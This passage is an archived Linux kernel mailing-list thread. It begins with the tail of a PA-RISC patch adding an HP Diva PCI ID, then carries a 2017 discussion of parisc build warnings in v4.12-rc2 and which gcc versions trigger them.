+	case PCI_DEVICE_ID_HP_DIVA_AUX2:
+		rc = -ENODEV; /* ignore on rp34xx */
+		break;
 	}
 
 	return rc;
diff --git a/include/linux/pci_ids.h b/include/linux/pci_ids.h
index 3e5dbbe..633e738 100644
--- a/include/linux/pci_ids.h
+++ b/include/linux/pci_ids.h
@@ -760,6 +760,7 @@
 #define PCI_DEVICE_ID_HP_SX1000_IOC	0x127c
 #define PCI_DEVICE_ID_HP_DIVA_EVEREST	0x1282
 #define PCI_DEVICE_ID_HP_DIVA_AUX	0x1290
+#define PCI_DEVICE_ID_HP_DIVA_AUX2	0x1291
 #define PCI_DEVICE_ID_HP_DIVA_RMP3	0x1301
 #define PCI_DEVICE_ID_HP_DIVA_HURRICANE	0x132a
 #define PCI_DEVICE_ID_HP_CISSA		0x3220
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: Build regressions/improvements in v4.12-rc2
Date: Mon, 22 May 2017 11:49:09 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <CAMuHMdVc2Ds3Uj4n87sq+-nXFGKPwA37Zq4B7pc8SLaJoRxKQw@mail.gmail.com>
References: <1495445700-32631-1-git-send-email-geert@linux-m68k.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1495446559 23089 195.159.176.226 (22 May 2017 09:49:19 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 22 May 2017 09:49:19 +0000 (UTC)
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        Parisc List <linux-parisc@vger.kernel.org>
To: Arnd Bergmann <arnd@arndb.de>, Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon May 22 11:49:14 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dCjxh-0005rA-Rd
	for glk-linux-kernel-3@m.gmane.org; Mon, 22 May 2017 11:49:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932879AbdEVJtP (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 22 May 2017 05:49:15 -0400
Original-Received: from mail-io0-f180.google.com ([209.85.223.180]:36100 "EHLO
        mail-io0-f180.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932348AbdEVJtL (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 22 May 2017 05:49:11 -0400
Original-Received: by mail-io0-f180.google.com with SMTP id o12so77943568iod.3;
        Mon, 22 May 2017 02:49:11 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=H2KIlVWMRrlJOPlG/MHLVi1xn4SJRu5zXbo8T8n+BiE=;
        b=rBT1CVluQInfqPV/tiKsRQQIbQ39D+hwhZxu/pPEf+CehMBhmwdGXuqoCkQxl2KYz5
         63sN0jhgkMmZNG9VJLT5+x+l1dzUNeGMqPm+d0ucikwu4FKQ+s5zpCEO+PvioAB9YmH4
         20mU6rrbJIBWN6s6hHAVMBMWSr+IhIfgavOBThdnxa++pKrwyE5e8QJpkUpPuoWvqNuL
         a3vs389127JYFRzJNdzdfcdvVh/n3led87lTzqRO9AmfYvHQO0k5afMH8k6XRf6Hf1XW
         Pp5FXT5fZ/f/80hC534bD4vdG01SyV8kVgiNljfiGe1FS8KsEdOMFKqA9sbRwRyFao3i
         PHpA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=H2KIlVWMRrlJOPlG/MHLVi1xn4SJRu5zXbo8T8n+BiE=;
        b=fd2+S8oWthmqCImL/lAsLBiXPk4XFp+fenBr8B7Suvah40Cx0L701VV+qOCq2Y50Ed
         bLdXMoQVO8QNv/WiFTf7gV01xpGjpjy5HwC15NFy1iDeEOvrE7npV8oQRqc7BBxbCsDm
         AZEXEkitDnUOGGdS2OWZq1NkKnymbT0uv7gzZfmCZTgo5JqC/06xrgHtX/rAXiWKAQVs
         AswMMuZXBNVHMoJ56nJDSylcWZQPD0P2G+Ts6CbZhA0HzQpR7IeOIfhtYNnBDxmNgVCq
         F3gFs/w5m+xoFgaYC1rk6oerhnBDXOMR7iVMB5792Psjuux09/0l7e3itUjDYi+hH1h/
         n6xA==
X-Gm-Message-State: AODbwcD/+Ytl8F/Ji2C6KPmZp6jeRDqSGXoFzPUlxy9urDy1SVIaZefD
        iw4+JsCCZvMPnXM5y9bN3LzALM5ELA==
X-Received: by 10.107.14.146 with SMTP id 140mr20894726ioo.77.1495446550850;
 Mon, 22 May 2017 02:49:10 -0700 (PDT)
Original-Received: by 10.107.35.142 with HTTP; Mon, 22 May 2017 02:49:09 -0700 (PDT)
In-Reply-To: <1495445700-32631-1-git-send-email-geert@linux-m68k.org>
X-Google-Sender-Auth: AswO_NJ7z_uHxaBPgtPYTNFKIXA
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2480317 gmane.linux.ports.parisc:27426
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2480317>

Hi Arnd, Helge,

On Mon, May 22, 2017 at 11:35 AM, Geert Uytterhoeven
<geert@linux-m68k.org> wrote:
> Below is the list of build error/warning regressions/improvements in
> v4.12-rc2[1] compared to v4.11[2].
>
> Summarized:
>   - build errors: +2/-3
>   - build warnings: +27717/-896

> [1] http://kisskb.ellerman.id.au/kisskb/head/08332893e37af6ae779367e78e444f8f9571511d/ (267 out of 270 configs)

> 27717 warning regressions:
>
> [Deleted 26393 lines about "warning: ... [-Wpointer-sign]" on parisc-allmodconfig]

Do you know where these are coming from? They appeared in v4.12-rc1.
The toolchain on kisskb hasn't changed (still gcc-4.6.3-nolibc).

> [Deleted 1166 lines about "warning: -ffunction-sections disabled; it makes profiling impossible [enabled by default]" on parisc-allmodconfig]

This has been introduced a while ago.  Would be good to get it fixed, too.
I guess the "cflags-y += -ffunction-sections" still needs some CONFIG check,
despite commit 366dd4ea9d5f0eb7 ("parisc: Fix ftrace function tracer")?

Thanks!

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds


From - Thu Nov 08 21:39:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Build regressions/improvements in v4.12-rc2
Date: Mon, 22 May 2017 16:19:28 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <CAK8P3a3Qm_5bWEeLA+NZR4yU051J_vDbHgNziAGF5X2sGK1v2A@mail.gmail.com>
References: <1495445700-32631-1-git-send-email-geert@linux-m68k.org> <CAMuHMdVc2Ds3Uj4n87sq+-nXFGKPwA37Zq4B7pc8SLaJoRxKQw@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1495462783 18980 195.159.176.226 (22 May 2017 14:19:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 22 May 2017 14:19:43 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        Parisc List <linux-parisc@vger.kernel.org>
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 22 16:19:39 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dCoBM-0002YK-EB
	for glpp-linux-parisc@m.gmane.org; Mon, 22 May 2017 16:19:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S934639AbdEVOTl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 22 May 2017 10:19:41 -0400
Original-Received: from mail-oi0-f42.google.com ([209.85.218.42]:35178 "EHLO
        mail-oi0-f42.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S934721AbdEVOT3 (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 22 May 2017 10:19:29 -0400
Original-Received: by mail-oi0-f42.google.com with SMTP id l18so162916429oig.2;
        Mon, 22 May 2017 07:19:29 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=wkFHwe9jqBTWa1DgO6LxAze+ERdYUdA4tIty5l8DOlU=;
        b=g0ww1rEi5g8G59eUfLGyc43XKKTFzwkAzTwmhi1hg6wT9msIQUPDy1zEOqt6A1gUcq
         XEChw+9sjHypwvm4Z7xrmQwvTXqaXV236gmjEHfzlI3cRw3lr2gyAfU9oN075phB+Zku
         97taH6Zw20R9uDWQW83kuIMpoFgmv4FoV/N8+TWg1kt4JZKm8ldm3rlY8xR2TT2LecSU
         SxnWFuWnGbwcWtIpbfXe2P/A2iU2OJ4jHMWUGnHnnBB06rgz5fc7fIXwS5VEmvdZALj5
         KUz6XPSRj7IXUO1vFIU9WrICH/0R1Nf8Cu2ophgm5nd6gizLOUt6cyXPLdioO7jzSw67
         jGCQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=wkFHwe9jqBTWa1DgO6LxAze+ERdYUdA4tIty5l8DOlU=;
        b=sopB3Z0fo7YhaY5Oh5n5/SlMG5FxWERUd96Z220pEiXo7CAl73MOwc41Oy54WQa4g1
         sMRY8VyBtOTnPjoTUlHTilyVdNWNxnlKp+YsCUb6+w3oABgmwHd5ZDXfcJpTRLU7dVJ3
         p2sSS9DmTemm3shZ8JMOIMa2XFMIfLuS8vh3rLKLnkzsN4DalFSgGQkLeE1iLl5Q/IqF
         Fd6opxGee4mFqIKn+4Av53UBGVFhYGqicp+uhnZoHsHJUlnHgFh6Y0RtCSbAqDz2L2DB
         nq7Bv58/BXWvIFg2gzK/28nlDBHfceScZdj6FgDjgDTbVk4MnjZ27vYLLpWtAEgdf7wF
         Hx6A==
X-Gm-Message-State: AODbwcARBOgW4dLa6rWAu7ziWvxGWlUx1BKa+aoIbRE2Ji272JtPHLwI
        7b7B/vQtU5gon4E/nFOHmxqtdLCqkA==
X-Received: by 10.157.12.42 with SMTP id 39mr12805520otr.71.1495462768938;
 Mon, 22 May 2017 07:19:28 -0700 (PDT)
Original-Received: by 10.157.66.2 with HTTP; Mon, 22 May 2017 07:19:28 -0700 (PDT)
In-Reply-To: <CAMuHMdVc2Ds3Uj4n87sq+-nXFGKPwA37Zq4B7pc8SLaJoRxKQw@mail.gmail.com>
X-Google-Sender-Auth: 8mL3JyZCkxJIJAUDHRh003vJWCk
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27427 gmane.linux.kernel:2480613
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27427>

On Mon, May 22, 2017 at 11:49 AM, Geert Uytterhoeven
<geert@linux-m68k.org> wrote:
> Hi Arnd, Helge,
>
> On Mon, May 22, 2017 at 11:35 AM, Geert Uytterhoeven
> <geert@linux-m68k.org> wrote:
>> Below is the list of build error/warning regressions/improvements in
>> v4.12-rc2[1] compared to v4.11[2].
>>
>> Summarized:
>>   - build errors: +2/-3
>>   - build warnings: +27717/-896
>
>> [1] http://kisskb.ellerman.id.au/kisskb/head/08332893e37af6ae779367e78e444f8f9571511d/ (267 out of 270 configs)
>
>> 27717 warning regressions:
>>
>> [Deleted 26393 lines about "warning: ... [-Wpointer-sign]" on parisc-allmodconfig]
>
> Do you know where these are coming from? They appeared in v4.12-rc1.
> The toolchain on kisskb hasn't changed (still gcc-4.6.3-nolibc).
>
>> [Deleted 1166 lines about "warning: -ffunction-sections disabled; it makes profiling impossible [enabled by default]" on parisc-allmodconfig]
>
> This has been introduced a while ago.  Would be good to get it fixed, too.
> I guess the "cflags-y += -ffunction-sections" still needs some CONFIG check,
> despite commit 366dd4ea9d5f0eb7 ("parisc: Fix ftrace function tracer")?

I found this mailing list discussion:

https://gcc.gnu.org/ml/gcc-help/2008-11/msg00141.html
https://gcc.gnu.org/ml/gcc-help/2008-11/msg00139.html

This patch was merged into gcc-4.8:

https://patchwork.ozlabs.org/patch/197134/

As the -ffunction-sections is a workaround for another problem, we could
use make it conditional on having a more recent compiler here.

        Arnd
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: Build regressions/improvements in v4.12-rc2
Date: Mon, 22 May 2017 17:49:34 +0200
Lines: 53
Approved: news@gmane.org
Message-ID: <59c0628c-523a-6307-febd-bd15329a62a0@gmx.de>
References: <1495445700-32631-1-git-send-email-geert@linux-m68k.org>
 <CAMuHMdVc2Ds3Uj4n87sq+-nXFGKPwA37Zq4B7pc8SLaJoRxKQw@mail.gmail.com>
 <CAK8P3a3Qm_5bWEeLA+NZR4yU051J_vDbHgNziAGF5X2sGK1v2A@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1495468262 827 195.159.176.226 (22 May 2017 15:51:02 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 22 May 2017 15:51:02 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.8.0
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        Parisc List <linux-parisc@vger.kernel.org>
To: Arnd Bergmann <arnd@arndb.de>,
        Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon May 22 17:50:58 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dCpbl-0008WR-PA
	for glk-linux-kernel-3@m.gmane.org; Mon, 22 May 2017 17:50:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1758547AbdEVPvB (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 22 May 2017 11:51:01 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:50920 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752210AbdEVPti (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 22 May 2017 11:49:38 -0400
Original-Received: from [192.168.20.60] ([193.159.22.160]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MOTRh-1dI4uw220T-005mWQ; Mon, 22
 May 2017 17:49:35 +0200
In-Reply-To: <CAK8P3a3Qm_5bWEeLA+NZR4yU051J_vDbHgNziAGF5X2sGK1v2A@mail.gmail.com>
X-Provags-ID: V03:K0:Lg/jbfNFYtELPdfX/icdktyDgD5pI1T/YP+U3fepmiolBVc54Z/
 w5PrnOciJl8eZohPmIZfh9hyuMABPAveTO/QYciJM6iKz7yYisxwQqBvogX2p1N1YAUFQe4
 v2vnpgR4uTVW1t9ssYDghpUxSDC7p1uxkCPN0kSXi9dxkzzcCnb6Mr2e+dYKOioC15nWSfr
 nkmcQF3z5/TQV1dU2Wc7w==
X-UI-Out-Filterresults: notjunk:1;V01:K0:UlePrLMZS3U=:d+iU4qfsZrg62wM9sl6nik
 9uw7hRzZIIjbU+iVWQpb6UtqrzeiH54klRDNGABCdI2suiNVx3POhgRRjEtauCqI2XUx4+WZ8
 tOKXSMgrtnCEmpoPVBqdb/tOKxGJekur6ZPoLpxHG4xFaXj0lN3+pobeCCUVK0xiIV9sJnn6V
 PaBS0N5waiVjbWtN9E5heVhEFvZyET/WKasloFy8qhMhfMHlnE31cnjTU4/PjHjKP+RWVZkw8
 pu5odsfmidG9QUS3OVjA/4H07lbBZo37U5wjntFCoyLQLiVZQV05tFpxVQKspmhKA+qZbtS3a
 gEfn5+9jimwyHLOQ+2WHrr2OBsOvzOQ44tddK14BI22fT63I1nHapwXftTSw2f0FN4bp6e0GY
 0ifFJo+/VHbDT15RqqdVNaRKK2usCoFAu+vgcXPNXsIK3HENqJSpncO58slGbt9qxP9TjTMnG
 7qzsbjg46qBP1O98Kmzh9hEx+Ls5UN63gsa50XCFG3U6vbRK3GhOagWIrUpCLhbc2jo/B5T7f
 v/9F3fhZp7P76IDXs7wG+ZL+H68juryWIaObrPNNU4lzM6mTdpv7bRk3JAk6MngCb1Ll7LXAP
 8fNgtTjuhynK5suV+TLeOKUkrkm2XLHwhewZohClixPKLkhD4U8FkSpZjbJDuh64gyIHQuEbh
 aVSGsKhFBOObJXytxCxxxsqCfOkBP9KveVqbIAP2EhU2/h4frSL/K+134Z0LJW+2U6x1RCG8O
 Gi46qSdZU2TQsYXgrmvEMEQ7jb+/Nkdfg3waShKMUm3w3cQIkRPWWp3u0UlfhypKcPvqXEwW 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2480706 gmane.linux.ports.parisc:27428
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2480706>

On 22.05.2017 16:19, Arnd Bergmann wrote:
> On Mon, May 22, 2017 at 11:49 AM, Geert Uytterhoeven
> <geert@linux-m68k.org> wrote:
>> Hi Arnd, Helge,
>>
>> On Mon, May 22, 2017 at 11:35 AM, Geert Uytterhoeven
>> <geert@linux-m68k.org> wrote:
>>> Below is the list of build error/warning regressions/improvements in
>>> v4.12-rc2[1] compared to v4.11[2].
>>>
>>> Summarized:
>>>   - build errors: +2/-3
>>>   - build warnings: +27717/-896
>>
>>> [1] http://kisskb.ellerman.id.au/kisskb/head/08332893e37af6ae779367e78e444f8f9571511d/ (267 out of 270 configs)
>>
>>> 27717 warning regressions:
>>>
>>> [Deleted 26393 lines about "warning: ... [-Wpointer-sign]" on parisc-allmodconfig]
>>
>> Do you know where these are coming from? They appeared in v4.12-rc1.

No idea.

>> The toolchain on kisskb hasn't changed (still gcc-4.6.3-nolibc).

Ok.

>>> [Deleted 1166 lines about "warning: -ffunction-sections disabled; it makes profiling impossible [enabled by default]" on parisc-allmodconfig]
>>
>> This has been introduced a while ago.  Would be good to get it fixed, too.
>> I guess the "cflags-y += -ffunction-sections" still needs some CONFIG check,
>> despite commit 366dd4ea9d5f0eb7 ("parisc: Fix ftrace function tracer")?
> 
> I found this mailing list discussion:
> 
> https://gcc.gnu.org/ml/gcc-help/2008-11/msg00141.html
> https://gcc.gnu.org/ml/gcc-help/2008-11/msg00139.html
> 
> This patch was merged into gcc-4.8:
> 
> https://patchwork.ozlabs.org/patch/197134/
> 
> As the -ffunction-sections is a workaround for another problem, we could
> use make it conditional on having a more recent compiler here.

Yes, please update the compiler. I suggested that last time already.
I'm using gcc-6.1.1-cross from Fedora:
hppa-linux-gnu-gcc (GCC) 6.1.1 20160621 (Red Hat Cross 6.1.1-2)
downloaded the given parisc-allmodconfig and it does not show any of those warnings.  

Helge


From - Thu Nov 08 21:39:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Build regressions/improvements in v4.12-rc2
Date: Mon, 22 May 2017 14:46:27 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <1DB2BE11-27B3-4E33-BD6C-539493145081@bell.net>
References: <1495445700-32631-1-git-send-email-geert@linux-m68k.org> <CAMuHMdVc2Ds3Uj4n87sq+-nXFGKPwA37Zq4B7pc8SLaJoRxKQw@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1495478789 23922 195.159.176.226 (22 May 2017 18:46:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 22 May 2017 18:46:29 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, Helge Deller <deller@gmx.de>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        Parisc List <linux-parisc@vger.kernel.org>
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 22 20:46:24 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dCsLY-0004AS-2i
	for glpp-linux-parisc@m.gmane.org; Mon, 22 May 2017 20:46:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1760787AbdEVSq3 convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 22 May 2017 14:46:29 -0400
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:53581 "EHLO
        mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1759742AbdEVSq3 (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 22 May 2017 14:46:29 -0400
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20170522184628.XUXE27897.mtlfep02.bell.net@mtlspm02.bell.net>;
          Mon, 22 May 2017 14:46:28 -0400
Original-Received: from [192.168.2.25] (really [70.31.74.123]) by mtlspm02.bell.net
          with ESMTP
          id <20170522184628.RMGG1026.mtlspm02.bell.net@[192.168.2.25]>;
          Mon, 22 May 2017 14:46:28 -0400
In-Reply-To: <CAMuHMdVc2Ds3Uj4n87sq+-nXFGKPwA37Zq4B7pc8SLaJoRxKQw@mail.gmail.com>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=c4REeV1l c=1 sm=0 tr=0 a=CP4CeFkTTpGPfaygvaSIJA==:17 a=kj9zAlcOel0A:10 a=tJ8p9aeEuA8A:10 a=FBHGMhGWAAAA:8 a=nwvEjs9IXYlVNPEoBzQA:9 a=CjuIK1q_8ugA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27429 gmane.linux.kernel:2480921
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27429>

On 2017-05-22, at 5:49 AM, Geert Uytterhoeven wrote:

>> [Deleted 1166 lines about "warning: -ffunction-sections disabled; it makes profiling impossible [enabled by default]" on parisc-allmodconfig]

Although this issue may be fixed in gcc, do we really want to enable profiling by default?

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Build regressions/improvements in v4.12-rc2
Date: Mon, 22 May 2017 23:08:08 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <CAK8P3a39qS2Z315FwJi2R7ThZVsmZrnAa45CG9yWu0rxu2CdXg@mail.gmail.com>
References: <1495445700-32631-1-git-send-email-geert@linux-m68k.org>
 <CAMuHMdVc2Ds3Uj4n87sq+-nXFGKPwA37Zq4B7pc8SLaJoRxKQw@mail.gmail.com> <1DB2BE11-27B3-4E33-BD6C-539493145081@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1495487294 24328 195.159.176.226 (22 May 2017 21:08:14 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 22 May 2017 21:08:14 +0000 (UTC)
Cc: Geert Uytterhoeven <geert@linux-m68k.org>,
        Helge Deller <deller@gmx.de>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        Parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 22 23:08:10 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dCuYf-0002Gh-1N
	for glpp-linux-parisc@m.gmane.org; Mon, 22 May 2017 23:08:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933737AbdEVVIK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 22 May 2017 17:08:10 -0400
Original-Received: from mail-oi0-f46.google.com ([209.85.218.46]:35024 "EHLO
        mail-oi0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S933017AbdEVVIJ (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 22 May 2017 17:08:09 -0400
Original-Received: by mail-oi0-f46.google.com with SMTP id l18so177625399oig.2;
        Mon, 22 May 2017 14:08:09 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=E51IvTG2aZK+aBOApmfAzlyjRl3hr9hbFO2jguGkmdM=;
        b=NRjUFLrpT8cx5AwS5CJf2m3rsTS9TzxQMzhzBDG+5F/4b9qlPylOeELDILDgkvMMLz
         IyZImbRB/5WoyYBhADEtVw01+je+eR5aFBM/ZamNLJZCgAq2wFHC3XM0nAK4oU9/IcCY
         eeK1tFkEDsQB/5b43NRJaEKTOcFrHxHkjB1gjB3aQrusvUaucVRd0qFhW+W43gn1Odyn
         MTGtGxRd6GTEDGyK104rLB/QUKVjKo0F5J9k3Rh95JM9GroB+QVfZ2mUotFE4IeUg8w8
         jSlglFQKf9I64vQ3OxKtA/pxCAa+uo1A9gD8+UGzDW2Uupq7R8AuHm73GCPZ+DZNCZq0
         D8qg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=E51IvTG2aZK+aBOApmfAzlyjRl3hr9hbFO2jguGkmdM=;
        b=PkpMGSbpm9QhJrAfgUsmSeu4Qj9j3Pfnz8SXDCJ2eByyM6GhLJdbOZdvI7frjfz34p
         OP4LQv12A82PdZGZOD5yd+TyPvhgsBWcjyugkwaCfsQCF4zjkMjVOX+l4+lm+os3rHSq
